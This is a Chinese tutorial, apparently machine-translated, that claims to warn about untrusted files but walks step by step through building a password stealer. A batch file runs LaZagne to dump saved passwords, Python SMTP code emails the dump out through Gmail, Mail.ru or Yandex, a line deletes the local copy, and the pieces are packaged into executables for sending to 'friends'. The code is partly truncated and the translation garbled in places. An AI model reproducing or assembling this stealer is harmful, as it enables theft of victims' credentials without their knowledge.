我们该怎么办?
您好,今天的读者将谈论为什么您无需打开从未知来源下载的未经验证的文件,并创建这样的文件来了解它在PC上可以做什么。 我们将创建一个样式器,该样式器将收集我们的所有密码并将其通过邮件发送给我们。
为此需要什么?
我们将需要:
- Python 3.xx
- 密码恢复工具(在我们的示例中为LaZagne )
- 两个Google帐户
所以我们开始
首先,将LaZagne工具的.exe文件放入我们项目的文件夹中。 接下来,创建一个任何名称的.bat文件(我将拥有main.bat)和一个send.py文件。
我们应该得到这样的结构:
项目:
编写代码
打开main.bat文件,并将代码放在此处:
@Echo off laZagne.exe all > pass.txt
现在,当您运行我们的.bat文件时,我们将拥有一个pass.txt文件,您来自浏览器(不仅是)的所有密码都将保存在其中。 它仅用于将数据发送到邮件。 但是怎么做呢?
发送到邮件
打开send.py文件并粘贴代码:
import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files)
现在,您需要配置并根据您将向其发送邮件的服务,更改选定的代码:Google(首先,您需要允许访问安全性较低的应用程序 ):
server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
Mail.ru:
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
Yandex:
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
完成.bat
现在,在我们的.bat文件中,添加send.py文件启动代码和pass.txt文件删除:
send.py del /s "pass.txt"
组装方式
现在,在运行main.bat之后,您的密码将发送到您的邮件中,但是,如果您没有安装Python,则将无法执行任何操作,您需要将我们的send.py文件转换为exe。 为此,请打开控制台并输入:
pip install pyinstaller pyinstaller --onefile send.py
尽管如此,我们仍然需要将main.bat文件转换为main.exe,而Bat To Exe Converter将帮助我们解决这个问题。 单击带有三个点(“ ...”)的按钮,查找main.bat文件,单击“打开”,然后单击“转换”并获得文件main.exe。 这三个文件是我们的样式器,我们可以 发送给朋友,享受 检查性能。
参考文献